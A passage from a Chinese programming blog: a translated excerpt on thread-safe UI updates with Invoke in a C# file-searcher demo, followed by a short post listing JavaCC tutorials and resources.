Searchthread会注意到这个改变。注意本操作是线程安全的。因为布尔变量只需要一步就操作完成了 重要:在Searcher_FoundInfo 事件处理中,MainWindow使用Invoke方法通过代理来调用this_FoundInfo 方法。通过这个方法,MainWindow是的更新结果列表的代码在MainWindow的线程里执行,而不是在Searcher的线程里,直接调用this_FoundInfo 方法会引发程序崩溃,因为Searcher_FoundInfo 事件处理和图形界面控件不同步。 private delegate void FoundInfoSyncHandler(FoundInfoEventArgs e); private FoundInfoSyncHandler FoundInfo; ... private void MainWindow_Load(object sender, EventArgs e) { ... this.FoundInfo += new FoundInfoSyncHandler(this_FoundInfo); ... } ... private void Searcher_FoundInfo(FoundInfoEventArgs e) { if (!m_closing) { this.Invoke(FoundInfo, new object[] { e }); } } private void this_FoundInfo(FoundInfoEventArgs e) { CreateResultsListItem(e.Info); } CreateResultsListItem 方法创建并添加一个ListViewItem 到结果列表中,然后展示FilesystemInfo 对象包含的数据,FileSystemInfo 可以是FileInfo 或是DirectoryInfo ,取决于Searcher 找到的结果, is操作符可以用来判断对象的类型,如果是FileInfo独享,列表还会以KB为单位显示文件大小 ListViewItem.ListViewSubItem lvsi = new ListViewItem.ListViewSubItem(); if (info is FileInfo) { lvsi.Text = GetBytesStringKB(((FileInfo)info).Length); } else { lvsi.Text = ""; } 当Searcher 线程结束的时候,触发ThreadEnded 事件,因此,MainWindow可以注意到搜索结束,Searcher_ThreadEnded 事件处理句柄使用和Searcher_FoundInfo一样的方式调用Invoke方法。 private delegate void ThreadEndedSyncHandler(ThreadEndedEventArgs e); private ThreadEndedSyncHandler ThreadEnded; ... private void MainWindow_Load(object sender, EventArgs e) { ... this.ThreadEnded += new ThreadEndedSyncHandler(this_ThreadEnded); ... } ... private void Searcher_ThreadEnded(ThreadEndedEventArgs e) { if (!m_closing) { this.Invoke(ThreadEnded, new object[] { e }); } } private void this_ThreadEnded(ThreadEndedEventArgs e) { EnableButtons(); if (!e.Success) { MessageBox.Show(e.ErrorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } } Demo下载 FileSearcher 许可 本文包括源代码和文件在CPOL下授权 ...

2012-10-01 · 1 min · bystander

JavaCC入门教程及相关资源

今天下午翻译了一篇简单的文章后。就去看JavaCC的东西了。。然后就找到了一篇入门教程 然后之前我是找到了一篇翻译过来的的某熊的战略储备基地 从头到尾读了一遍英文的。感觉还是英文的写的要好一些。建议对照着翻译看英文。JavaCC也就那么回事。。 同时在在这目测百慕大群岛的什么工程与应用科学学院找到了一些其他的文档。其中一篇是JavaCC-FAQ很好。基本上有关JavaCC的问题都有解释。 在FAQ里,看到了一个关于JJTree的介绍,写的不错。建议看看。 还有一个是国外某学校的编译原理课程的ppt下载,好象是以JavaCC作为工具的。还没认真看。 还有一篇JavaCC 研究与应用 ,写的平常。不过是中文版的。 最后。千万不要忘了官方文档。也包括你下载的JavaCC里面的Demo。。

2012-09-27 · 1 min · bystander